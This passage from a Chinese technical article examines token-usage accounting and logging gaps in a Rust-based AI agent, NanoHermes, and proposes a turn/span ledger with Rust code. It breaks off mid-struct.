而失败之前，<code>agent.usage</code> 已经涨过了——凡是成功返回的模型请求都已经累加进去了（失败的那一次因为 <code>?</code> 没记）。于是这一段增长：
<ul>
<li>不在本请求的响应里（因为响应没带 usage）</li>
<li>也不在下一个请求的响应里（因为下一个请求的 <code>before</code> 是在这段增长之后取的）</li>
<li>只在进程总量里，而进程总量没有任何接口能按会话查</li>
</ul>

结果就是：<strong>失败轮次烧掉的 token 变成了一笔无主账</strong>。它存在于内存里的某个计数器上，但没有任何一条响应、任何一个文件、任何一次 <code>/cost</code> 能把它归到某个会话。

修法有两种，各有取舍：
<div class="table-scroll"><table>
<thead>
<tr>
<th>做法</th>
<th>优点</th>
<th>缺点</th>
</tr>
</thead>
<tbody>
<tr>
<td>失败响应也带 <code>usage</code></td>
<td>改动最小，账不丢</td>
<td>客户端要处理「有 usage 也有 error」的组合</td>
</tr>
<tr>
<td>账本按 turn 行记账</td>
<td>任何结果都有行，可审计</td>
<td>需要引入账本对象，改动面大</td>
</tr>
</tbody>
</table></div>

第一种是「补丁」，第二种是「重建」。如果你只想知道钱去哪了，第一种够用；如果你想回答「这个会话一共失败了几次、失败花了多少钱」，只有第二种能给你。
<h2>流式 daemon 只有增量，没有总计</h2>

<code>stream_turn</code> 走的是另一条路。它装上 sink，让 <code>UiEvent::Usage</code> 直接写成 NDJSON 行：
<div class="codehilite"><pre><span></span><code><span class="n">UiEvent</span><span class="p">::</span><span class="n">Usage</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">requests</span><span class="p">,</span><span class="w"> </span><span class="n">prompt_tokens</span><span class="p">,</span><span class="w"> </span><span class="n">completion_tokens</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="n">json</span><span class="o">!</span><span class="p">({</span>
<span class="w">    </span><span class="s">&quot;type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s">&quot;usage&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="s">&quot;requests&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">requests</span><span class="p">,</span>
<span class="w">    </span><span class="s">&quot;prompt_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">prompt_tokens</span><span class="p">,</span>
<span class="w">    </span><span class="s">&quot;completion_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">completion_tokens</span><span class="p">,</span>
<span class="p">}),</span>
</code></pre></div>


然后收尾时写一行 <code>done</code>：
<div class="codehilite"><pre><span></span><code><span class="nb">Ok</span><span class="p">(</span><span class="n">response</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="n">write_event</span><span class="p">(</span>
<span class="w">    </span><span class="o">&amp;</span><span class="n">out</span><span class="p">,</span>
<span class="w">    </span><span class="o">&amp;</span><span class="n">json</span><span class="o">!</span><span class="p">({</span><span class="w"> </span><span class="s">&quot;type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s">&quot;done&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;response&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">response</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;session&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">session_id</span><span class="w"> </span><span class="p">}),</span>
<span class="p">),</span>
</code></pre></div>


<code>done</code> 行里<strong>没有累计用量</strong>。客户端要自己把前面收到的所有 <code>usage</code> 行加起来——这恰好是 <code>UiEvent</code> 注释里承诺的用法，所以不算错，但它把「求和」这件事推给了每一个客户端。三个客户端就得写三遍求和，其中两个可能写错。

更麻烦的是错误路径：
<div class="codehilite"><pre><span></span><code><span class="nb">Err</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="n">write_event</span><span class="p">(</span><span class="o">&amp;</span><span class="n">out</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">json</span><span class="o">!</span><span class="p">({</span><span class="w"> </span><span class="s">&quot;type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s">&quot;error&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;error&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">e</span><span class="w"> </span><span class="p">})),</span>
</code></pre></div>


一个跑到第 5 轮才失败的流式任务，客户端拿到了 5 行 usage、1 行 error，没有总计。如果客户端是「收到 done 才记账」的实现，这 5 行的花费就丢了；如果它边收边记，那它记的是「部分用量」，而它无从知道这是部分。

一个更稳的协议是让 <code>done</code> 和 <code>error</code> 都带 <code>total_usage</code>——这样客户端只需要在两种终结行上读同一个字段，中间行纯属进度展示。<strong>终结行是对账的唯一锚点</strong>，这句话值得写进任何 agent 的协议设计里。
<h2>会话文件里没有账：重启即清零</h2>

<code>persist()</code> 的内容是：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">persist</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">path</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&amp;</span><span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">save_session_file</span><span class="p">(</span><span class="n">path</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="bp">self</span><span class="p">.</span><span class="n">messages</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="fm">eprintln!</span><span class="p">(</span><span class="s">&quot;warning: could not save session {}: {e}&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">path</span><span class="p">.</span><span class="n">display</span><span class="p">());</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


<code>save_session_file</code> 写的就是 <code>messages</code> 的 pretty JSON。没有 header，没有 meta，没有用量。

而 <code>Agent::with_mcp</code> 构造时：
<div class="codehilite"><pre><span></span><code><span class="n">Agent</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="o">..</span><span class="p">.</span>
<span class="w">    </span><span class="n">usage</span><span class="p">:</span><span class="w"> </span><span class="nc">UsageTotals</span><span class="p">::</span><span class="n">default</span><span class="p">(),</span>
<span class="p">}</span>
</code></pre></div>


即使 <code>--session</code> 加载了昨天的对话，<code>usage</code> 也是从零开始。于是 <code>agent -c</code> 之后敲 <code>/cost</code>，看到的是「本次进程的用量」，而不是「这个会话的用量」。任务连续跑了三天、每天重启一次，账本每天清零三次。

这个坑在单人使用时不容易被发现，因为你会默认「今天这次任务」就是「这个进程」。但只要有 <code>-c</code>、有 daemon 的多会话、有 GUI 的「继续上次任务」，这个假设就破了。

修法很直接：会话文件从「messages 数组」升级成「带 meta 的对象」：
<div class="codehilite"><pre><span></span><code><span class="p">{</span>
<span class="w">  </span><span class="nt">&quot;version&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span>
<span class="w">  </span><span class="nt">&quot;messages&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="err">...</span><span class="w"> </span><span class="p">],</span>
<span class="w">  </span><span class="nt">&quot;usage&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">&quot;requests&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">12</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;prompt_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">34000</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;completion_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">5100</span><span class="w"> </span><span class="p">},</span>
<span class="w">  </span><span class="nt">&quot;turns&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="err">...</span><span class="w"> </span><span class="p">]</span>
<span class="p">}</span>
</code></pre></div>


代价是向后兼容：旧文件是裸数组，新代码读到数组要当成「v1，无账」处理。<code>load_session_file</code> 现在只接受数组：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">arr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">v</span>
<span class="w">    </span><span class="p">.</span><span class="n">as_array</span><span class="p">()</span>
<span class="w">    </span><span class="p">.</span><span class="n">ok_or_else</span><span class="p">(</span><span class="o">||</span><span class="w"> </span><span class="s">&quot;session file does not contain a JSON array&quot;</span><span class="p">.</span><span class="n">to_string</span><span class="p">())</span><span class="o">?</span><span class="p">;</span>
</code></pre></div>


改的时候要同时接受对象形态，否则所有老会话都会加载失败——而加载失败会退回默认消息，用户会以为「历史丢了」。
<h2><code>/status</code> 与 <code>/cost</code>：进程级仪表盘</h2>

两个 REPL 命令，一个是身份卡，一个是计数器：
<div class="codehilite"><pre><span></span><code>&gt; /status
  messages: 42
  model:    claude-sonnet-4
  mode:     default
  format:   text
  tools:    24
  workspace: /home/me/project

&gt; /cost
  requests:          18
  prompt tokens:     214,033
  completion tokens: 12,880
  total tokens:      226,913
</code></pre></div>


<code>/status</code> 五行里没有一行是「量」——<code>messages</code> 是结构大小，不是消耗。<code>/cost</code> 四行是纯计数，没有时间、没有按模型拆分、没有按来源拆分（主循环 / 压缩 / 提炼 / 子代理）。

这两个命令合起来，能回答「现在是什么状态」和「这堆数字是多少」，但回答不了「钱花在哪」。仪表盘和账本的区别就在这里：仪表盘告诉你当前值，账本告诉你每一笔的来龙去脉。
<h2>唯一可导出的账：json 与 stream-json</h2>

真正能拿去做二次处理的，只有 <code>--output-format json</code> 的收尾块：
<div class="codehilite"><pre><span></span><code><span class="n">config</span><span class="p">::</span><span class="n">OutputFormat</span><span class="p">::</span><span class="n">Json</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">u</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">agent</span><span class="p">.</span><span class="n">usage</span><span class="p">();</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">json</span><span class="o">!</span><span class="p">({</span>
<span class="w">        </span><span class="s">&quot;response&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">response</span><span class="p">,</span>
<span class="w">        </span><span class="s">&quot;usage&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="s">&quot;requests&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">u</span><span class="p">.</span><span class="n">requests</span><span class="p">,</span>
<span class="w">            </span><span class="s">&quot;prompt_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">u</span><span class="p">.</span><span class="n">prompt_tokens</span><span class="p">,</span>
<span class="w">            </span><span class="s">&quot;completion_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">u</span><span class="p">.</span><span class="n">completion_tokens</span><span class="p">,</span>
<span class="w">            </span><span class="s">&quot;total_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">u</span><span class="p">.</span><span class="n">total_tokens</span><span class="p">(),</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">    </span><span class="p">});</span>
<span class="w">    </span><span class="fm">println!</span><span class="p">(</span><span class="s">&quot;{}&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">serde_json</span><span class="p">::</span><span class="n">to_string_pretty</span><span class="p">(</span><span class="o">&amp;</span><span class="n">out</span><span class="p">).</span><span class="n">unwrap_or_default</span><span class="p">());</span>
<span class="p">}</span>
</code></pre></div>


这是整个项目里唯一一份「结构化、可管道、可入库」的账。它有三个局限：
<ul>
<li>只有一次 one-shot 的账，没有按轮拆分</li>
<li>只有三个原始计数，没有来源、模型、时间</li>
<li>只在 <code>Json</code> / <code>StreamJson</code> 两种格式下存在，默认的 <code>Text</code> 什么都没有</li>
</ul>

但它的方向是对的：<strong>把账做成数据，而不是做成打印</strong>。想再往前一步，不需要加字段，只需要把 <code>usage</code> 从三个标量改成一组行：
<div class="codehilite"><pre><span></span><code><span class="p">{</span>
<span class="w">  </span><span class="nt">&quot;response&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;...&quot;</span><span class="p">,</span>
<span class="w">  </span><span class="nt">&quot;turns&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[</span>
<span class="w">    </span><span class="p">{</span><span class="w"> </span><span class="nt">&quot;turn&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;who&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;main&quot;</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;model&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;claude-sonnet-4&quot;</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;requests&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span>
<span class="w">      </span><span class="nt">&quot;prompt_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">18200</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;completion_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">940</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;ms&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">4210</span><span class="w"> </span><span class="p">}</span>
<span class="w">  </span><span class="p">],</span>
<span class="w">  </span><span class="nt">&quot;usage&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">&quot;requests&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;prompt_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">18200</span><span class="p">,</span><span class="w"> </span><span class="nt">&quot;completion_tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="mi">940</span><span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


外层 <code>usage</code> 保留，是为了不让现有消费者（脚本、<code>jq</code> 管道）断掉；<code>turns</code> 是新账，供需要审计的人用。这种「加字段不改语义」的演进方式，比推倒重来安全得多。
<h2>观测的现状是 <code>eprintln!</code></h2>

<code>agent/src</code> 里一共三十多处 <code>eprintln!</code>，光 <code>main.rs</code> 就有 28 处。它们大致分成四类：
<div class="table-scroll"><table>
<thead>
<tr>
<th>类别</th>
<th>例子</th>
<th>有没有结构</th>
</tr>
</thead>
<tbody>
<tr>
<td>启动配置</td>
<td><code>sub-agents: loaded 3 from ...</code>、<code>MCP: loaded 12 tool(s)</code></td>
<td>无</td>
</tr>
<tr>
<td>请求重试</td>
<td><code>note: request failed (...); retrying in 500ms (attempt 1/2)</code></td>
<td>半结构化（人可读）</td>
</tr>
<tr>
<td>会话读写</td>
<td><code>warning: could not save session ...</code></td>
<td>无</td>
</tr>
<tr>
<td>daemon 错误</td>
<td><code>daemon request error from 1.2.3.4: ...</code></td>
<td>无</td>
</tr>
</tbody>
</table></div>

它们都写 stderr，没有级别、没有时间戳、没有 trace id、没有 JSON 形态。这意味着：
<ul>
<li>想做「最近一小时的失败率」，只能全文 grep</li>
<li>想关联「这个错误属于哪个请求」，只能靠时间先后猜</li>
<li>想在 GUI 里展示「服务端刚重试了一次」，做不到——<code>eprintln!</code> 不会进 sink</li>
</ul>

最后一条最可惜：<code>Style</code> 已经有一套完整的 <code>UiEvent</code> 通道了，<code>warn</code> / <code>note</code> 都能投递到 GUI，但 <code>llm::chat</code> 不持有 <code>Style</code>，重试只能打印。于是「终端能看到重试、GUI 看不到」——同一次请求，两套客户端看到的信息量不同。
<h2>一次委派在日志里串不起来</h2>

假设你看到日志里有三行：
<div class="codehilite"><pre><span></span><code>sub-agents: loaded 2 from subagents.json
note: request failed (HTTP 503 from API: ...); retrying in 1000ms (attempt 1/2)
sub-agent `reviewer` finished in 41.2s
</code></pre></div>


你能确定这三行属于同一次委派吗？不能。第二行可能来自主代理，也可能来自另一个子代理；第一行是启动期，第三行甚至不存在——因为子代理完成时根本不打印。

能串起一条链路的东西应该是一个 id，从发起到结束一路传下去：
<div class="table-scroll"><table>
<thead>
<tr>
<th>层</th>
<th>现在有什么</th>
<th>缺什么</th>
</tr>
</thead>
<tbody>
<tr>
<td>会话</td>
<td><code>session_id</code>（仅 daemon）</td>
<td>—</td>
</tr>
<tr>
<td>轮次</td>
<td>无</td>
<td><code>turn_id</code></td>
</tr>
<tr>
<td>委派</td>
<td><code>agent-7</code>（仅在任务板内）</td>
<td>进日志</td>
</tr>
<tr>
<td>请求</td>
<td>无</td>
<td><code>request_id</code></td>
</tr>
<tr>
<td>工具</td>
<td><code>tool_call_id</code>（仅消息历史）</td>
<td>进日志</td>
</tr>
</tbody>
</table></div>

有意思的是，<code>tool_call_id</code> 是有的——<code>assistant_message</code> 把它写进了消息，<code>execute</code> 拿到的 <code>ToolCall</code> 也带着它。但它从来没有出现在任何一行日志里。数据不缺，缺的是把它带出去的那一步。

对钩子来说这条链更值得补。钩子能拿到 <code>NANOHERMES_TOOL_NAME</code> 和 <code>NANOHERMES_HOOK_EVENT</code>：
<div class="codehilite"><pre><span></span><code><span class="p">.</span><span class="n">env</span><span class="p">(</span><span class="s">&quot;NANOHERMES_TOOL_NAME&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">tool</span><span class="p">)</span>
<span class="p">.</span><span class="n">env</span><span class="p">(</span><span class="s">&quot;NANOHERMES_HOOK_EVENT&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">event</span><span class="p">)</span>
</code></pre></div>


07 已经指出缺 <code>NANOHERMES_AGENT</code>，所以钩子分不出父子。同一个问题在观测上的版本是：钩子分不出「这是本轮第几次调用同一个工具」，于是它没法做「同一个文件被改第三次就告警」这类策略。
<h2>钩子是观测点，但钩子自己不被观测</h2>

钩子的返回值只有两个字段：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">HookOutcome</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="sd">/// Process exit code (`-1` if killed by a signal, `-2` if we timed it out).</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">code</span><span class="p">:</span><span class="w"> </span><span class="kt">i32</span><span class="p">,</span>
<span class="w">    </span><span class="sd">/// Combined stdout + stderr, trimmed.</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">output</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div>


调用方拿它做两件事：<code>ok()</code> 判断是否放行，失败时把 output 拼进 tool result 字符串。然后——就没有然后了。

这意味着：
<ul>
<li>一个钩子每天跑 500 次、其中 200 次超时，账本上看不出来</li>
<li>一次 30 秒超时的钩子会让一整轮变慢 30 秒，但耗时不属于任何统计</li>
<li>钩子阻断了一整次工具调用（<code>PreToolUse</code> 返回非 0 时 <code>execute</code> 直接返回 ERROR），这次「被拦下」的调用不计入任何指标</li>
</ul>

<code>HOOK_TIMEOUT_SECS</code> 是 30 秒，这个值本身是个观测信号：它意味着单个钩子最长能把一轮拖慢 30 秒，而 <code>max_iterations</code> 是 40，最坏情况是 40 × 30 秒 = 20 分钟纯粹耗在钩子上。

一个把钩子当观测点的设计，应该把钩子本身也记成 span：<code>event</code>、<code>tool</code>、<code>exit_code</code>、<code>ms</code>、<code>timed_out</code>。这样「钩子是不是拖慢了我的 agent」才是一个能查的问题。
<h2>五类错账的失效模式</h2>

把前面拆出来的问题收成一张表，方便对照自己的实现：
<div class="table-scroll"><table>
<thead>
<tr>
<th>错账类型</th>
<th>具体表现</th>
<th>根因</th>
<th>后果</th>
</tr>
</thead>
<tbody>
<tr>
<td>漏账·失败</td>
<td>请求失败不计入</td>
<td>记账点在 <code>?</code> 之后</td>
<td>失败率不可见、重试不可见</td>
</tr>
<tr>
<td>漏账·内部调用</td>
<td>压缩 / 提炼 / 子代理不进账</td>
<td>直接调 <code>llm::chat</code>，没有账本句柄</td>
<td><code>requests</code> 只有真实值的一半</td>
</tr>
<tr>
<td>漏账·流中断</td>
<td>流读到一半失败，用量一起丢</td>
<td><code>Err</code> 只带字符串</td>
<td>大请求的花费凭空消失</td>
</tr>
<tr>
<td>串账·差分</td>
<td>失败轮次 token 无主</td>
<td>进程级累计 + 差分切分</td>
<td>成本永久挂空</td>
</tr>
<tr>
<td>糊涂账·口径</td>
<td>注释说累计、实现是增量</td>
<td>文档与代码漂移</td>
<td>客户端汇总结果偏小</td>
</tr>
<tr>
<td>糊涂账·维度</td>
<td>多模型混在一个总数里</td>
<td>账本只有三个标量</td>
<td>有 token 也算不出钱</td>
</tr>
<tr>
<td>糊涂账·时序</td>
<td>排队时间算进执行时间</td>
<td><code>started</code> 在 <code>acquire</code> 之前</td>
<td>误判「子代理慢」</td>
</tr>
</tbody>
</table></div>

七条里有四条属于「结构上没有位置记」，两条属于「口径没定死」，一条属于「错误路径不携带数据」。这三类问题的修法完全不同：
<ul>
<li>结构问题要引入账本对象，改的是数据流</li>
<li>口径问题要写文档和测试，改的是约定</li>
<li>错误路径问题要改返回类型，改的是函数签名</li>
</ul>

先分类再动手，比一上来就加日志有效得多——因为加日志解决不了后两类。
<h2>正确的账本模型：三张表</h2>

一个够用的 agent 账本，三张表就够。它们不是数据库表，是内存里的三个结构，但字段要按表来设计。

<strong>第一张：turn 表</strong>，一次 <code>run()</code> 一行。
<div class="table-scroll"><table>
<thead>
<tr>
<th>字段</th>
<th>类型</th>
<th>说明</th>
</tr>
</thead>
<tbody>
<tr>
<td>turn_id</td>
<td>u64</td>
<td>单调递增，进程内唯一</td>
</tr>
<tr>
<td>session_id</td>
<td>String</td>
<td>daemon 的会话标识，CLI 用默认值</td>
</tr>
<tr>
<td>who</td>
<td>Who</td>
<td>Main / SubAgent(id) / Compact / Distill</td>
</tr>
<tr>
<td>started_ms / ended_ms</td>
<td>u128</td>
<td>墙钟时间，用于算时长与对齐日志</td>
</tr>
<tr>
<td>requests</td>
<td>u32</td>
<td>发起过多少次请求（含失败）</td>
</tr>
<tr>
<td>retries</td>
<td>u32</td>
<td>其中重试了多少次</td>
</tr>
<tr>
<td>usage</td>
<td>Usage</td>
<td>prompt / completion / cached / reasoning</td>
</tr>
<tr>
<td>outcome</td>
<td>Ok / Interrupted / IterLimit / Error(String)</td>
<td>轮次终态</td>
</tr>
</tbody>
</table></div>

<strong>第二张：span 表</strong>，一次外部交互一行（模型请求或工具调用）。
<div class="table-scroll"><table>
<thead>
<tr>
<th>字段</th>
<th>类型</th>
<th>说明</th>
</tr>
</thead>
<tbody>
<tr>
<td>span_id</td>
<td>u64</td>
<td>自增</td>
</tr>
<tr>
<td>turn_id</td>
<td>u64</td>
<td>外键，指回 turn 表</td>
</tr>
<tr>
<td>parent</td>
<td>Option</td>
<td>子代理的 span 挂在发起它的工具调用下</td>
</tr>
<tr>
<td>kind</td>
<td>Model / Tool / Hook</td>
<td>三类</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>工具名或模型名</td>
</tr>
<tr>
<td>model</td>
<td>Option</td>
<td>模型请求才有</td>
</tr>
<tr>
<td>start_ms / end_ms</td>
<td>u128</td>
<td>单次耗时，不受排队污染</td>
</tr>
<tr>
<td>usage</td>
<td>Option</td>
<td>失败时记「已累积的部分」</td>
</tr>
<tr>
<td>status</td>
<td>Ok / Failed(String)</td>
<td>失败也留行</td>
</tr>
</tbody>
</table></div>

<strong>第三张：totals 视图</strong>，不是表，是对前两张的聚合：
<div class="codehilite"><pre><span></span><code>按 who 聚合：主代理 X token / 子代理 Y token / 内部调用 Z token
按 model 聚合：模型 A n 次 m token / 模型 B ...
按 kind 聚合：模型请求耗时 / 工具耗时 / 钩子耗时
</code></pre></div>


三张表的关系是 <code>turn 1 → N span</code>，与 open tracing 的 trace/span 同构。之所以要分成 turn 和 span 两层，是因为这两层的语义不一样：turn 是「用户感知到的一次操作」，span 是「系统内部的一次外部依赖」。用户问「这次任务花了多少」问的是 turn，运维问「哪个工具最慢」问的是 span。

顺带说一句存储。账本要不要落盘，取决于你要回答的问题：
<div class="table-scroll"><table>
<thead>
<tr>
<th>需求</th>
<th>存储方案</th>
<th>代价</th>
</tr>
</thead>
<tbody>
<tr>
<td>重启后还能看会话成本</td>
<td>追加写到会话文件旁边</td>
<td>写放大、需要轮转</td>
</tr>
<tr>
<td>跨会话统计</td>
<td>SQLite 一行一个 span</td>
<td>引入依赖</td>
</tr>
<tr>
<td>只想看当前进程</td>
<td>内存够了</td>
<td>重启即丢</td>
</tr>
</tbody>
</table></div>

NanoHermes 现在的选择是第三条，这是它「低依赖」哲学的一部分。所以本文的重点不是「它应该上一个数据库」，而是「它的内存账本连内存里该有的行都没记全」。
<h2>五个口径必须先定死</h2>

账本做完之后，最容易吵起来的不是实现，是定义。下面五个口径，必须在写第一行代码之前定死，并且写进文档和测试。

<strong>一、<code>requests</code> 算 HTTP 请求还是成功的模型轮次？</strong>
建议：分开两个字段，<code>requests</code> 算所有发出的请求（含失败与重试），<code>successful</code> 算成功的。否则「重试」这个事实没有位置放。

<strong>二、<code>prompt_tokens</code> 含不含缓存命中的部分？</strong>
建议：结构上拆成 <code>prompt_tokens</code> 与 <code>cached_tokens</code> 两个字段，且 <code>cached_tokens</code> 允许为「未知」。含不含取决于服务端口径，本地不要替它猜。

<strong>三、子代理的 token 算不算进主任务的账？</strong>
建议：算，但要能分开看。turn 表里父 turn 的 <code>usage</code> 是自身 + 子 span 之和，同时每个子代理有自己的 span，可以单独出报表。这就是「可加性」：父 = 自身 + 子之和，永远成立。

<strong>四、重试的失败请求算不算 token？</strong>
建议：算，但单独标 <code>unbilled</code>。大多数 429 不计费，但客户端不应该假设这一点——服务端说了算。

<strong>五、时间算不算排队？</strong>
建议：不算。排队时间单独记 <code>queued_ms</code>。这是 07 那条加固建议在观测侧的对应物。

五个问题里，前四个都跟「token」有关，只有最后一个跟「时间」有关。这不是巧合：token 是计费单位，时间是体验单位，两者都要，但不能混在一个字段里。
<h2>一个六十行的 <code>Ledger</code></h2>

如果现在就要动手，最小的可用账本大约是这样：
<div class="codehilite"><pre><span></span><code><span class="k">use</span><span class="w"> </span><span class="n">std</span><span class="p">::</span><span class="n">sync</span><span class="p">::</span><span class="n">Mutex</span><span class="p">;</span>
<span class="k">use</span><span class="w"> </span><span class="n">std</span><span class="p">::</span><span class="n">time</span><span class="p">::{</span><span class="n">Duration</span><span class="p">,</span><span class="w"> </span><span class="n">Instant</span><span class="p">};</span>

<span class="cp">#[derive(Clone, Copy, Debug, Default)]</span>
<span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">Usage</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">prompt_tokens</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">completion_tokens</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span>
<span class="w">    </span><span class="sd">/// None 表示服务端没有报告，而不是 0。</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">cached_tokens</span><span class="p">:</span><span class="w"> </span><span class="nb">Option</span><span class="o">&lt;</span><span class="kt">u64</span><span class="o">&gt;</span><span class="p">,</span>
<span class="p">}</span>

<span class="cp">#[derive(Clone, Debug)]</span>
<span class="k">pub</span><span class="w"> </span><span class="k">enum</span><span class="w"> </span><span class="nc">Who</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">Main</span><span class="p">,</span>
<span class="w">    </span><span class="n">SubAgent</span><span class="p">(</span><span class="nb">String</span><span class="p">),</span><span class="w"> </span><span class="c1">// agent-7</span>
<span class="w">    </span><span class="n">Compact</span><span class="p">,</span>
<span class="w">    </span><span class="n">Distill</span><span class="p">,</span>
<span class="p">}</span>

<span class="cp">#[derive(Clone, Debug)]</span>
<span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">TurnRecord</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">turn_id</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">who</span><span class="p">:</span><span class="w"> </span><span class="nc">Who</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">model</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">requests</span><span class="p">:</span><span class="w"> </span><span class="kt">u32</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">retries</span><span class="p">:</span><span class="w"> </span><span class="kt">u32</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">usage</span><span class="p">:</span><span class="w"> </span><span class="nc">Usage</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">elapsed</span><span class="p">:</span><span class="w"> </span><span class="nc">Duration</span><span class="p">,</span>
